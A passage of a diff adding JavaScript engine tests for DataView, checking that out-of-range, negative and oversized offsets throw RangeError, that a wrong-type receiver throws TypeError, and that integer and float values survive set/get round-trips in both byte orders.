+ checkThrow(() => view.getFloat32(10, false), RangeError);
+
+ // testFloatGet expected=NaN
+ // Little endian
+ view = new DataView(buffer6, 3, 1);
+ checkThrow(() => view.getFloat32(0, true), RangeError);
+ view = new DataView(buffer6_pad3, 3, 4);
+ checkThrow(() => view.getFloat32(3, true), RangeError);
+ view = new DataView(buffer6_pad7, 3, 8);
+ checkThrow(() => view.getFloat32(7, true), RangeError);
+ view = new DataView(buffer6_pad10, 3, 11);
+ checkThrow(() => view.getFloat32(10, true), RangeError);
+ // Big endian.
+ view = new DataView(buffer6_r, 3, 1);
+ checkThrow(() => view.getFloat32(0, false), RangeError);
+ view = new DataView(buffer6_r_pad3, 3, 4);
+ checkThrow(() => view.getFloat32(3, false), RangeError);
+ view = new DataView(buffer6_r_pad7, 3, 8);
+ checkThrow(() => view.getFloat32(7, false), RangeError);
+ view = new DataView(buffer6_r_pad10, 3, 11);
+ checkThrow(() => view.getFloat32(10, false), RangeError);
+
+ // testFloatGet expected=10
+ // Little endian
+ view = new DataView(buffer7, 3, 5);
+ checkThrow(() => view.getFloat64(0, true), RangeError);
+ view = new DataView(buffer7_pad3, 3, 8);
+ checkThrow(() => view.getFloat64(3, true), RangeError);
+ view = new DataView(buffer7_pad7, 3, 12);
+ checkThrow(() => view.getFloat64(7, true), RangeError);
+ view = new DataView(buffer7_pad10, 3, 15);
+ checkThrow(() => view.getFloat64(10, true), RangeError);
+ // Big endian.
+ view = new DataView(buffer7_r, 3, 5);
+ checkThrow(() => view.getFloat64(0, false), RangeError);
+ view = new DataView(buffer7_r_pad3, 3, 8);
+ checkThrow(() => view.getFloat64(3, false), RangeError);
+ view = new DataView(buffer7_r_pad7, 3, 12);
+ checkThrow(() => view.getFloat64(7, false), RangeError);
+ view = new DataView(buffer7_r_pad10, 3, 15);
+ checkThrow(() => view.getFloat64(10, false), RangeError);
+
+ // testFloatGet expected=1.23
+ // Little endian
+ view = new DataView(buffer8, 3, 5);
+ checkThrow(() => view.getFloat64(0, true), RangeError);
+ view = new DataView(buffer8_pad3, 3, 8);
+ checkThrow(() => view.getFloat64(3, true), RangeError);
+ view = new DataView(buffer8_pad7, 3, 12);
+ checkThrow(() => view.getFloat64(7, true), RangeError);
+ view = new DataView(buffer8_pad10, 3, 15);
+ checkThrow(() => view.getFloat64(10, true), RangeError);
+ // Big endian.
+ view = new DataView(buffer8_r, 3, 5);
+ checkThrow(() => view.getFloat64(0, false), RangeError);
+ view = new DataView(buffer8_r_pad3, 3, 8);
+ checkThrow(() => view.getFloat64(3, false), RangeError);
+ view = new DataView(buffer8_r_pad7, 3, 12);
+ checkThrow(() => view.getFloat64(7, false), RangeError);
+ view = new DataView(buffer8_r_pad10, 3, 15);
+ checkThrow(() => view.getFloat64(10, false), RangeError);
+
+ // testFloatGet expected=-6213576.4839
+ // Little endian
+ view = new DataView(buffer9, 3, 5);
+ checkThrow(() => view.getFloat64(0, true), RangeError);
+ view = new DataView(buffer9_pad3, 3, 8);
+ checkThrow(() => view.getFloat64(3, true), RangeError);
+ view = new DataView(buffer9_pad7, 3, 12);
+ checkThrow(() => view.getFloat64(7, true), RangeError);
+ view = new DataView(buffer9_pad10, 3, 15);
+ checkThrow(() => view.getFloat64(10, true), RangeError);
+ // Big endian.
+ view = new DataView(buffer9_r, 3, 5);
+ checkThrow(() => view.getFloat64(0, false), RangeError);
+ view = new DataView(buffer9_r_pad3, 3, 8);
+ checkThrow(() => view.getFloat64(3, false), RangeError);
+ view = new DataView(buffer9_r_pad7, 3, 12);
+ checkThrow(() => view.getFloat64(7, false), RangeError);
+ view = new DataView(buffer9_r_pad10, 3, 15);
+ checkThrow(() => view.getFloat64(10, false), RangeError);
+
+ // testFloatGet expected=NaN
+ // Little endian
+ view = new DataView(buffer10, 3, 5);
+ checkThrow(() => view.getFloat64(0, true), RangeError);
+ view = new DataView(buffer10_pad3, 3, 8);
+ checkThrow(() => view.getFloat64(3, true), RangeError);
+ view = new DataView(buffer10_pad7, 3, 12);
+ checkThrow(() => view.getFloat64(7, true), RangeError);
+ view = new DataView(buffer10_pad10, 3, 15);
+ checkThrow(() => view.getFloat64(10, true), RangeError);
+ // Big endian.
+ view = new DataView(buffer10_r, 3, 5);
+ checkThrow(() => view.getFloat64(0, false), RangeError);
+ view = new DataView(buffer10_r_pad3, 3, 8);
+ checkThrow(() => view.getFloat64(3, false), RangeError);
+ view = new DataView(buffer10_r_pad7, 3, 12);
+ checkThrow(() => view.getFloat64(7, false), RangeError);
+ view = new DataView(buffer10_r_pad10, 3, 15);
+ checkThrow(() => view.getFloat64(10, false), RangeError);
+
+ // testFloatGet expected=NaN
+ // Little endian
+ view = new DataView(buffer11, 3, 5);
+ checkThrow(() => view.getFloat64(0, true), RangeError);
+ view = new DataView(buffer11_pad3, 3, 8);
+ checkThrow(() => view.getFloat64(3, true), RangeError);
+ view = new DataView(buffer11_pad7, 3, 12);
+ checkThrow(() => view.getFloat64(7, true), RangeError);
+ view = new DataView(buffer11_pad10, 3, 15);
+ checkThrow(() => view.getFloat64(10, true), RangeError);
+ // Big endian.
+ view = new DataView(buffer11_r, 3, 5);
+ checkThrow(() => view.getFloat64(0, false), RangeError);
+ view = new DataView(buffer11_r_pad3, 3, 8);
+ checkThrow(() => view.getFloat64(3, false), RangeError);
+ view = new DataView(buffer11_r_pad7, 3, 12);
+ checkThrow(() => view.getFloat64(7, false), RangeError);
+ view = new DataView(buffer11_r_pad10, 3, 15);
+ checkThrow(() => view.getFloat64(10, false), RangeError);
+
+ // testGetNegativeIndexes
+ view = new DataView(buffer1, 0, 16);
+ checkThrow(() => view.getInt8(-1), RangeError);
+ checkThrow(() => view.getInt8(-2), RangeError);
+ checkThrow(() => view.getUint8(-1), RangeError);
+ checkThrow(() => view.getUint8(-2), RangeError);
+ checkThrow(() => view.getInt16(-1), RangeError);
+ checkThrow(() => view.getInt16(-2), RangeError);
+ checkThrow(() => view.getInt16(-3), RangeError);
+ checkThrow(() => view.getUint16(-1), RangeError);
+ checkThrow(() => view.getUint16(-2), RangeError);
+ checkThrow(() => view.getUint16(-3), RangeError);
+ checkThrow(() => view.getInt32(-1), RangeError);
+ checkThrow(() => view.getInt32(-3), RangeError);
+ checkThrow(() => view.getInt32(-5), RangeError);
+ checkThrow(() => view.getUint32(-1), RangeError);
+ checkThrow(() => view.getUint32(-3), RangeError);
+ checkThrow(() => view.getUint32(-5), RangeError);
+ view = new DataView(buffer7, 0, 8);
+ checkThrow(() => view.getFloat32(-1), RangeError);
+ checkThrow(() => view.getFloat32(-3), RangeError);
+ checkThrow(() => view.getFloat32(-5), RangeError);
+ checkThrow(() => view.getFloat64(-1), RangeError);
+ checkThrow(() => view.getFloat64(-5), RangeError);
+ checkThrow(() => view.getFloat64(-9), RangeError);
+
+ // Too large for signed 32 bit integer index
+ checkThrow(() => view.getInt8(2147483648), RangeError);
+ checkThrow(() => view.getInt8(2147483649), RangeError);
+ checkThrow(() => view.getUint8(2147483648), RangeError);
+ checkThrow(() => view.getUint8(2147483649), RangeError);
+ checkThrow(() => view.getInt16(2147483648), RangeError);
+ checkThrow(() => view.getInt16(2147483649), RangeError);
+ checkThrow(() => view.getUint16(2147483648), RangeError);
+ checkThrow(() => view.getUint16(2147483649), RangeError);
+ checkThrow(() => view.getInt32(2147483648), RangeError);
+ checkThrow(() => view.getInt32(2147483649), RangeError);
+ checkThrow(() => view.getUint32(2147483648), RangeError);
+ checkThrow(() => view.getUint32(2147483649), RangeError);
+ checkThrow(() => view.getFloat32(2147483648), RangeError);
+ checkThrow(() => view.getFloat32(2147483649), RangeError);
+ checkThrow(() => view.getFloat64(2147483648), RangeError);
+ checkThrow(() => view.getFloat64(2147483649), RangeError);
+
+ // Test for wrong type of |this|
+ checkThrow(() => view.getInt8.apply("dead", [0]), TypeError);
+ checkThrow(() => view.getUint8.apply("puppies", [0]), TypeError);
+ checkThrow(() => view.getInt16.apply("aren", [0]), TypeError);
+ checkThrow(() => view.getUint16.apply("t", [0]), TypeError);
+ checkThrow(() => view.getInt32.apply("much", [0]), TypeError);
+ checkThrow(() => view.getUint32.apply("fun", [0]), TypeError);
+ checkThrow(() => view.getFloat32.apply("(in", [0]), TypeError);
+ checkThrow(() => view.getFloat64.apply("bed)", [0]), TypeError);
+ checkThrow(() => view.setInt8.apply("dead", [0, 0]), TypeError);
+ checkThrow(() => view.setUint8.apply("puppies", [0, 0]), TypeError);
+ checkThrow(() => view.setInt16.apply("aren", [0, 0]), TypeError);
+ checkThrow(() => view.setUint16.apply("t", [0, 0]), TypeError);
+ checkThrow(() => view.setInt32.apply("much", [0, 0]), TypeError);
+ checkThrow(() => view.setUint32.apply("fun", [0, 0]), TypeError);
+ checkThrow(() => view.setFloat32.apply("(in", [0, 0]), TypeError);
+ checkThrow(() => view.setFloat64.apply("bed)", [0, 0]), TypeError);
+
+ // testSetMethods
+
+ // Test for set methods that work
+
+ // testIntegerSets(start=0, length=16)
+ var data13 = [204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204];
+ var data13_r = data13.slice().reverse();
+ var buffer13 = new Uint8Array(data13).buffer;
+ view = new DataView(buffer13, 0, 16);
+ view.setInt8(0, 0);
+ assertEq(view.getInt8(0), 0);
+ view.setInt8(8, -128);
+ assertEq(view.getInt8(8), -128);
+ view.setInt8(15, -1);
+ assertEq(view.getInt8(15), -1);
+ view.setUint8(0, 0);
+ assertEq(view.getUint8(0), 0);
+ view.setUint8(8, 128);
+ assertEq(view.getUint8(8), 128);
+ view.setUint8(15, 255);
+ assertEq(view.getUint8(15), 255);
+ view.setInt16(0, 256, true);
+ assertEq(view.getInt16(0, true), 256);
+ view.setInt16(5, 26213, true);
+ assertEq(view.getInt16(5, true), 26213);
+ view.setInt16(9, -32127, true);
+ assertEq(view.getInt16(9, true), -32127);
+ view.setInt16(14, -2, true);
+ assertEq(view.getInt16(14, true), -2);
+ view.setInt16(0, 1);
+ assertEq(view.getInt16(0), 1);
+ view.setInt16(5, 25958);
+ assertEq(view.getInt16(5), 25958);
+ view.setInt16(9, -32382);
+ assertEq(view.getInt16(9), -32382);
+ view.setInt16(14, -257);
+ assertEq(view.getInt16(14), -257);
+ view.setUint16(0, 256, true);
+ assertEq(view.getUint16(0, true), 256);
+ view.setUint16(5, 26213, true);
+ assertEq(view.getUint16(5, true), 26213);
+ view.setUint16(9, 33409, true);
+ assertEq(view.getUint16(9, true), 33409);
+ view.setUint16(14, 65534, true);
+ assertEq(view.getUint16(14, true), 65534);
+ view.setUint16(0, 1);
+ assertEq(view.getUint16(0), 1);
+ view.setUint16(5, 25958);
+ assertEq(view.getUint16(5), 25958);
+ view.setUint16(9, 33154);
+ assertEq(view.getUint16(9), 33154);
+ view.setUint16(14, 65279);
+ assertEq(view.getUint16(14), 65279);
+ view.setInt32(0, 50462976, true);
+ assertEq(view.getInt32(0, true), 50462976);
+ view.setInt32(3, 1717920771, true);
+ assertEq(view.getInt32(3, true), 1717920771);
+ view.setInt32(6, -2122291354, true);
+ assertEq(view.getInt32(6, true), -2122291354);
+ view.setInt32(9, -58490239, true);
+ assertEq(view.getInt32(9, true), -58490239);
+ view.setInt32(12, -66052, true);
+ assertEq(view.getInt32(12, true), -66052);
+ view.setInt32(0, 66051);
+ assertEq(view.getInt32(0), 66051);
+ view.setInt32(3, 56911206);
+ assertEq(view.getInt32(3), 56911206);
+ view.setInt32(6, 1718059137);
+ assertEq(view.getInt32(6), 1718059137);
+ view.setInt32(9, -2122152964);
+ assertEq(view.getInt32(9), -2122152964);
+ view.setInt32(12, -50462977);
+ assertEq(view.getInt32(12), -50462977);
+ view.setUint32(0, 50462976, true);
+ assertEq(view.getUint32(0, true), 50462976);
+ view.setUint32(3, 1717920771, true);
+ assertEq(view.getUint32(3, true), 1717920771);
+ view.setUint32(6, 2172675942, true);
+ assertEq(view.getUint32(6, true), 2172675942);
+ view.setUint32(9, 4236477057, true);
+ assertEq(view.getUint32(9, true), 4236477057);
+ view.setUint32(12, 4294901244, true);
+ assertEq(view.getUint32(12, true), 4294901244);
+ view.setUint32(0, 66051);
+ assertEq(view.getUint32(0), 66051);
+ view.setUint32(3, 56911206);
+ assertEq(view.getUint32(3), 56911206);
+ view.setUint32(6, 1718059137);
+ assertEq(view.getUint32(6), 1718059137);
+ view.setUint32(9, 2172814332);
+ assertEq(view.getUint32(9), 2172814332);
+ view.setUint32(12, 4244504319);
+ assertEq(view.getUint32(12), 4244504319);
+
+ // testFloatSets(start=undefined)
+
+ // testFloatSet expected=10
+ // Little endian
+ view = new DataView(buffer13, 0, 16);
+ view.setFloat32(0, 10, true);
+ assertEq(view.getFloat32(0, true), 10);
+ var buffer13_pad3 = new Uint8Array(Array(3).concat(data13)).buffer;
+ view = new DataView(buffer13_pad3, 0, 19);
+ view.setFloat32(3, 10, true);
+ assertEq(view.getFloat32(3, true), 10);
+ var buffer13_pad7 = new Uint8Array(Array(7).concat(data13)).buffer;
+ view = new DataView(buffer13_pad7, 0, 23);
+ view.setFloat32(7, 10, true);
+ assertEq(view.getFloat32(7, true), 10);
+ var buffer13_pad10 = new Uint8Array(Array(10).concat(data13)).buffer;
+ view = new DataView(buffer13_pad10, 0, 26);
+ view.setFloat32(10, 10, true);
+ assertEq(view.getFloat32(10, true), 10);
+ // Big endian.
+ var buffer13_r = new Uint8Array(data13_r).buffer;
+ view = new DataView(buffer13_r, 0, 16);
+ view.setFloat32(0, 10, false);
+ assertEq(view.getFloat32(0, false), 10);
+ var buffer13_r_pad3 = new Uint8Array(Array(3).concat(data13_r)).buffer;
+ view = new DataView(buffer13_r_pad3, 0, 19);
+ view.setFloat32(3, 10, false);
+ assertEq(view.getFloat32(3, false), 10);
+ var buffer13_r_pad7 = new Uint8Array(Array(7).concat(data13_r)).buffer;
+ view = new DataView(buffer13_r_pad7, 0, 23);
+ view.setFloat32(7, 10, false);
+ assertEq(view.getFloat32(7, false), 10);
+ var buffer13_r_pad10 = new Uint8Array(Array(10).concat(data13_r)).buffer;
+ view = new DataView(buffer13_r_pad10, 0, 26);
+ view.setFloat32(10, 10, false);
+ assertEq(view.getFloat32(10, false), 10);
+
+ // testFloatSet expected=1.2300000190734863
+ // Little endian
+ view = new DataView(buffer13, 0, 16);
+ view.setFloat32(0, 1.2300000190734863, true);
+ assertEq(view.getFloat32(0, true), 1.2300000190734863);
+ view = new DataView(buffer13_pad3, 0, 19);
+ view.setFloat32(3, 1.2300000190734863, true);
+ assertEq(view.getFloat32(3, true), 1.2300000190734863);
+ view = new DataView(buffer13_pad7, 0, 23);
+ view.setFloat32(7, 1.2300000190734863, true);
+ assertEq(view.getFloat32(7, true), 1.2300000190734863);
+ view = new DataView(buffer13_pad10, 0, 26);
+ view.setFloat32(10, 1.2300000190734863, true);
+ assertEq(view.getFloat32(10, true), 1.2300000190734863);
+ // Big endian.
+ view = new DataView(buffer13_r, 0, 16);
+ view.setFloat32(0, 1.2300000190734863, false);
+ assertEq(view.getFloat32(0, false), 1.2300000190734863);
+ view = new DataView(buffer13_r_pad3, 0, 19);
+ view.setFloat32(3, 1.2300000190734863, false);
+ assertEq(view.getFloat32(3, false), 1.2300000190734863);
+ view = new DataView(buffer13_r_pad7, 0, 23);
+ view.setFloat32(7, 1.2300000190734863, false);
+ assertEq(view.getFloat32(7, false), 1.2300000190734863);
+ view = new DataView(buffer13_r_pad10, 0, 26);
+ view.setFloat32(10, 1.2300000190734863, false);
+ assertEq(view.getFloat32(10, false), 1.2300000190734863);
+
+ // testFloatSet expected=-45621.37109375
+ // Little endian
+ view = new DataView(buffer13, 0, 16);
+ view.setFloat32(0, -45621.37109375, true);
+ assertEq(view.getFloat32(0, true), -45621.37109375);
+ view = new DataView(buffer13_pad3, 0, 19);
+ view.setFloat32(3, -45621.37109375, true);
+ assertEq(view.getFloat32(3, true), -45621.37109375);
+ view = new DataView(buffer13_pad7, 0, 23);
+ view.setFloat32(7, -45621.37109375, true);
+ assertEq(view.getFloat32(7, true), -45621.37109375);
+ view = new DataView(buffer13_pad10, 0, 26);
+ view.setFloat32(10, -45621.37109375, true);
+ assertEq(view.getFloat32(10, true), -45621.37109375);
+ // Big endian.
+ view = new DataView(buffer13_r, 0, 16);
+ view.setFloat32(0, -45621.37109375, false);
+ assertEq(view.getFloat32(0, false), -45621.37109375);
+ view = new DataView(buffer13_r_pad3, 0, 19);
+ view.setFloat32(3, -45621.37109375, false);
+ assertEq(view.getFloat32(3, false), -45621.37109375);
+ view = new DataView(buffer13_r_pad7, 0, 23);
+ view.setFloat32(7, -45621.37109375, false);
+ assertEq(view.getFloat32(7, false), -45621.37109375);
+ view = new DataView(buffer13_r_pad10, 0, 26);
+ view.setFloat32(10, -45621.37109375, false);
+ assertEq(view.getFloat32(10, false), -45621.37109375);
+
+ // testFloatSet expected=NaN
+ // Little endian
+ view = new DataView(buffer13, 0, 16);
+ view.setFloat32(0, NaN, true);
+ assertEq(view.getFloat32(0, true), NaN);
+ view = new DataView(buffer13_pad3, 0, 19);
+ view.setFloat32(3, NaN, true);
+ assertEq(view.getFloat32(3, true), NaN);
+ view = new DataView(buffer13_pad7, 0, 23);
+ view.setFloat32(7, NaN, true);
+ assertEq(view.getFloat32(7, true), NaN);
+ view = new DataView(buffer13_pad10, 0, 26);
+ view.setFloat32(10, NaN, true);
+ assertEq(view.getFloat32(10, true), NaN);
+ // Big endian.
+ view = new DataView(buffer13_r, 0, 16);
+ view.setFloat32(0, NaN, false);
+ assertEq(view.getFloat32(0, false), NaN);
+ view = new DataView(buffer13_r_pad3, 0, 19);
+ view.setFloat32(3, NaN, false);
+ assertEq(view.getFloat32(3, false), NaN);
+ view = new DataView(buffer13_r_pad7, 0, 23);
+ view.setFloat32(7, NaN, false);
+ assertEq(view.getFloat32(7, false), NaN);
+ view = new DataView(buffer13_r_pad10, 0, 26);
+ view.setFloat32(10, NaN, false);
+ assertEq(view.getFloat32(10, false), NaN);
+
+ // testFloatSet expected=-NaN
+ // Little endian
+ view = new DataView(buffer13, 0, 16);
+ view.setFloat32(0, -NaN, true);
+ assertEq(view.getFloat32(0, true), -NaN);
+ view = new DataView(buffer13_pad3, 0, 19);
+ view.setFloat32(3, -NaN, true);
+ assertEq(view.getFloat32(3, true), -NaN);
+ view = new DataView(buffer13_pad7, 0, 23);
+ view.setFloat32(7, -NaN, true);
+ assertEq(view.getFloat32(7, true), -NaN);
+ view = new DataView(buffer13_pad10, 0, 26);
+ view.setFloat32(10, -NaN, true);
+ assertEq(view.getFloat32(10, true), -NaN);
+ // Big endian.
+ view = new DataView(buffer13_r, 0, 16);
+ view.setFloat32(0, -NaN, false);
+ assertEq(view.getFloat32(0, false), -NaN);
+ view = new DataView(buffer13_r_pad3, 0, 19);
+ view.setFloat32(3, -NaN, false);
+ assertEq(view.getFloat32(3, false), -NaN);
+ view = new DataView(buffer13_r_pad7, 0, 23);
+ view.setFloat32(7, -NaN, false);
+ assertEq(view.getFloat32(7, false), -NaN);
+ view = new DataView(buffer13_r_pad10, 0, 26);
+ view.setFloat32(10, -NaN, false);
+ assertEq(view.getFloat32(10, false), -NaN);
+
+ // testFloatSet expected=10
+ // Little endian
+ view = new DataView(buffer13, 0, 16);
+ view.setFloat64(0, 10, true);
+ assertEq(view.getFloat64(0, true), 10);
+ view = new DataView(buffer13_pad3, 0, 19);
+ view.setFloat64(3, 10, true);
+ assertEq(view.getFloat64(3, true), 10);
+ view = new DataView(buffer13_pad7, 0, 23);
+ view.setFloat64(7, 10, true);
+ assertEq(view.getFloat64(7, true), 10);
+ view = new DataView(buffer13_pad10, 0, 26);
+ view.setFloat64(10, 10, true);
+ assertEq(view.getFloat64(10, true), 10);
+ // Big endian.
+ view = new DataView(buffer13_r, 0, 16);
+ view.setFloat64(0, 10, false);
+ assertEq(view.getFloat64(0, false), 10);
+ view = new DataView(buffer13_r_pad3, 0, 19);
+ view.setFloat64(3, 10, false);
+ assertEq(view.getFloat64(3, false), 10);
+ view = new DataView(buffer13_r_pad7, 0, 23);
+ view.setFloat64(7, 10, false);
+ assertEq(view.getFloat64(7, false), 10);
+ view = new DataView(buffer13_r_pad10, 0, 26);
+ view.setFloat64(10, 10, false);
+ assertEq(view.getFloat64(10, false), 10);
+
+ // testFloatSet expected=1.23
+ // Little endian
+ view = new DataView(buffer13, 0, 16);
+ view.setFloat64(0, 1.23, true);
+ assertEq(view.getFloat64(0, true), 1.23);
+ view = new DataView(buffer13_pad3, 0, 19);
+ view.setFloat64(3, 1.23, true);
+ assertEq(view.getFloat64(3, true), 1.23);
+ view = new DataView(buffer13_pad7, 0, 23);
+ view.setFloat64(7, 1.23, true);
+ assertEq(view.getFloat64(7, true), 1.23);
+ view = new DataView(buffer13_pad10, 0, 26);
+ view.setFloat64(10, 1.23, true);
+ assertEq(view.getFloat64(10, true), 1.23);
+ // Big endian.
+ view = new DataView(buffer13_r, 0, 16);
+ view.setFloat64(0, 1.23, false);
+ assertEq(view.getFloat64(0, false), 1.23);
+ view = new DataView(buffer13_r_pad3, 0, 19);
+ view.setFloat64(3, 1.23, false);
+ assertEq(view.getFloat64(3, false), 1.23);
+ view = new DataView(buffer13_r_pad7, 0, 23);
+ view.setFloat64(7, 1.23, false);
+ assertEq(view.getFloat64(7, false), 1.23);
+ view = new DataView(buffer13_r_pad10, 0, 26);
+ view.setFloat64(10, 1.23, false);
+ assertEq(view.getFloat64(10, false), 1.23);
+
+ // testFloatSet expected=-6213576.4839
+ // Little endian
+ view = new DataView(buffer13, 0, 16);
+ view.setFloat64(0, -6213576.4839, true);
+ assertEq(view.getFloat64(0, true), -6213576.4839);
+ view = new DataView(buffer13_pad3, 0, 19);
+ view.setFloat64(3, -6213576.4839, true);
+ assertEq(view.getFloat64(3, true), -6213576.4839);
+ view = new DataView(buffer13_pad7, 0, 23);
+ view.setFloat64(7, -6213576.4839, true);
+ assertEq(view.getFloat64(7, true), -6213576.4839);
+ view = new DataView(buffer13_pad10, 0, 26);
+ view.setFloat64(10, -6213576.4839, true);
+ assertEq(view.getFloat64(10, true), -6213576.4839);
+ // Big endian.
+ view = new DataView(buffer13_r, 0, 16);
+ view.setFloat64(0, -6213576.4839, false);
+ assertEq(view.getFloat64(0, false), -6213576.4839);
+ view = new DataView(buffer13_r_pad3, 0, 19);
+ view.setFloat64(3, -6213576.4839, false);
+ assertEq(view.getFloat64(3, false), -6213576.4839);
+ view = new DataView(buffer13_r_pad7, 0, 23);
+ view.setFloat64(7, -6213576.4839, false);
+ assertEq(view.getFloat64(7, false), -6213576.4839);
+ view = new DataView(buffer13_r_pad10, 0, 26);
+ view.setFloat64(10, -6213576.4839, false);
+ assertEq(view.getFloat64(10, false), -6213576.4839);
+
+ // testFloatSet expected=NaN
+ // Little endian
+ view = new DataView(buffer13, 0, 16);
+ view.setFloat64(0, NaN, true);
+ assertEq(view.getFloat64(0, true), NaN);
+ view = new DataView(buffer13_pad3, 0, 19);
+ view.setFloat64(3, NaN, true);
+ assertEq(view.getFloat64(3, true), NaN);
+ view = new DataView(buffer13_pad7, 0, 23);
+ view.setFloat64(7, NaN, true);
+ assertEq(view.getFloat64(7, true), NaN);
+ view = new DataView(buffer13_pad10, 0, 26);
+ view.setFloat64(10, NaN, true);
+ assertEq(view.getFloat64(10, true), NaN);
+ // Big endian.
+ view = new DataView(buffer13_r, 0, 16);
+ view.setFloat64(0, NaN, false);
+ assertEq(view.getFloat64(0, false), NaN);
+ view = new DataView(buffer13_r_pad3, 0, 19);
+ view.setFloat64(3, NaN, false);
+ assertEq(view.getFloat64(3, false), NaN);
+ view = new DataView(buffer13_r_pad7, 0, 23);
+ view.setFloat64(7, NaN, false);
+ assertEq(view.getFloat64(7, false), NaN);
+ view = new DataView(buffer13_r_pad10, 0, 26);
+ view.setFloat64(10, NaN, false);
+ assertEq(view.getFloat64(10, false), NaN);
+
+ // testFloatSet expected=-NaN
+ // Little endian
+ view = new DataView(buffer13, 0, 16);
+ view.setFloat64(0, -NaN, true);
+ assertEq(view.getFloat64(0, true), -NaN);
+ view = new DataView(buffer13_pad3, 0, 19);
+ view.setFloat64(3, -NaN, true);
+ assertEq(view.getFloat64(3, true), -NaN);
+ view = new DataView(buffer13_pad7, 0, 23);
+ view.setFloat64(7, -NaN, true);
+ assertEq(view.getFloat64(7, true), -NaN);
+ view = new DataView(buffer13_pad10, 0, 26);
+ view.setFloat64(10, -NaN, true);
+ assertEq(view.getFloat64(10, true), -NaN);
+ // Big endian.
+ view = new DataView(buffer13_r, 0, 16);
+ view.setFloat64(0, -NaN, false);
+ assertEq(view.getFloat64(0, false), -NaN);
+ view = new DataView(buffer13_r_pad3, 0, 19);
+ view.setFloat64(3, -NaN, false);
+ assertEq(view.getFloat64(3, false), -NaN);
+ view = new DataView(buffer13_r_pad7, 0, 23);
+ view.setFloat64(7, -NaN, false);
+ assertEq(view.getFloat64(7, false), -NaN);
+ view = new DataView(buffer13_r_pad10, 0, 26);
+ view.setFloat64(10, -NaN, false);
+ assertEq(view.getFloat64(10, false), -NaN);
+
+ // Test for set methods that might write beyond the range
+
+ // testIntegerSets(start=3, length=2)
+ view = new DataView(buffer13, 3, 2);
+ view.setInt8(0, 0);
+ assertEq(view.getInt8(0), 0);
+ checkThrow(() => view.setInt8(8, -128), RangeError);
+ checkThrow(() => view.setInt8(15, -1), RangeError);
+ view.setUint8(0, 0);
+ assertEq(view.getUint8(0), 0);
+ checkThrow(() => view.setUint8(8, 128), RangeError);
+ checkThrow(() => view.setUint8(15, 255), RangeError);
+ view.setInt16(0, 256, true);
+ assertEq(view.getInt16(0, true), 256);
+ checkThrow(() => view.setInt16(5, 26213, true), RangeError);
+ checkThrow(() => view.setInt16(9, -32127, true), RangeError);
+ checkThrow(() => view.setInt16(14, -2, true), RangeError);
+ view.setInt16(0, 1);
+ assertEq(view.getInt16(0), 1);
+ checkThrow(() => view.setInt16(5, 25958), RangeError);
+ checkThrow(() => view.setInt16(9, -32382), RangeError);
+ checkThrow(() => view.setInt16(14, -257), RangeError);
+ view.setUint16(0, 256, true);
+ assertEq(view.getUint16(0, true), 256);
+ checkThrow(() => view.setUint16(5, 26213, true), RangeError);
+ checkThrow(() => view.setUint16(9, 33409, true), RangeError);
+ checkThrow(() => view.setUint16(14, 65534, true), RangeError);
+ view.setUint16(0, 1);
+ assertEq(view.getUint16(0), 1);
+ checkThrow(() => view.setUint16(5, 25958), RangeError);
+ checkThrow(() => view.setUint16(9, 33154), RangeError);
+ checkThrow(() => view.setUint16(14, 65279), RangeError);
+ checkThrow(() => view.setInt32(0, 50462976, true), RangeError);
+ checkThrow(() => view.setInt32(3, 1717920771, true), RangeError);
+ checkThrow(() => view.setInt32(6, -2122291354, true), RangeError);
+ checkThrow(() => view.setInt32(9, -58490239, true), RangeError);
+ checkThrow(() => view.setInt32(12, -66052, true), RangeError);
+ checkThrow(() => view.setInt32(0, 66051), RangeError);
+ checkThrow(() => view.setInt32(3, 56911206), RangeError);
+ checkThrow(() => view.setInt32(6, 1718059137), RangeError);
+ checkThrow(() => view.setInt32(9, -2122152964), RangeError);
+ checkThrow(() => view.setInt32(12, -50462977), RangeError);
+ checkThrow(() => view.setUint32(0, 50462976, true), RangeError);
+ checkThrow(() => view.setUint32(3, 1717920771, true), RangeError);
+ checkThrow(() => view.setUint32(6, 2172675942, true), RangeError);
+ checkThrow(() => view.setUint32(9, 4236477057, true), RangeError);
+ checkThrow(() => view.setUint32(12, 4294901244, true), RangeError);
+ checkThrow(() => view.setUint32(0, 66051), RangeError);
+ checkThrow(() => view.setUint32(3, 56911206), RangeError);
+ checkThrow(() => view.setUint32(6, 1718059137), RangeError);
+ checkThrow(() => view.setUint32(9, 2172814332), RangeError);
+ checkThrow(() => view.setUint32(12, 4244504319), RangeError);
+
+ // testFloatSets(start=7)
+
+ // testFloatSet expected=10
+ // Little endian
+ view = new DataView(buffer13, 7, 9);
+ view.setFloat32(0, 10, true);
+ assertEq(view.getFloat32(0, true), 10);
+ view = new DataView(buffer13_pad3, 7, 12);
+ view.setFloat32(3, 10, true);
+ assertEq(view.getFloat32(3, true), 10);
+ view = new DataView(buffer13_pad7, 7, 16);
+ view.setFloat32(7, 10, true);
+ assertEq(view.getFloat32(7, true), 10);
+ view = new DataView(buffer13_pad10, 7, 19);
+ view.setFloat32(10, 10, true);
+ assertEq(view.getFloat32(10, true), 10);
+ // Big endian.
+ view = new DataView(buffer13_r, 7, 9);
+ view.setFloat32(0, 10, false);
+ assertEq(view.getFloat32(0, false), 10);
+ view = new DataView(buffer13_r_pad3, 7, 12);
+ view.setFloat32(3, 10, false);
+ assertEq(view.getFloat32(3, false), 10);
+ view = new DataView(buffer13_r_pad7, 7, 16);
+ view.setFloat32(7, 10, false);
+ assertEq(view.getFloat32(7, false), 10);
+ view = new DataView(buffer13_r_pad10, 7, 19);
+ view.setFloat32(10, 10, false);
+ assertEq(view.getFloat32(10, false), 10);
+
+ // testFloatSet expected=1.2300000190734863
+ // Little endian
+ view = new DataView(buffer13, 7, 9);
+ view.setFloat32(0, 1.2300000190734863, true);
+ assertEq(view.getFloat32(0, true), 1.2300000190734863);
+ view = new DataView(buffer13_pad3, 7, 12);
+ view.setFloat32(3, 1.2300000190734863, true);
+ assertEq(view.getFloat32(3, true), 1.2300000190734863);
+ view = new DataView(buffer13_pad7, 7, 16);
+ view.setFloat32(7, 1.2300000190734863, true);
+ assertEq(view.getFloat32(7, true), 1.2300000190734863);
+ view = new DataView(buffer13_pad10, 7, 19);
+ view.setFloat32(10, 1.2300000190734863, true);
+ assertEq(view.getFloat32(10, true), 1.2300000190734863);
+ // Big endian.
+ view = new DataView(buffer13_r, 7, 9);
+ view.setFloat32(0, 1.2300000190734863, false);
+ assertEq(view.getFloat32(0, false), 1.2300000190734863);
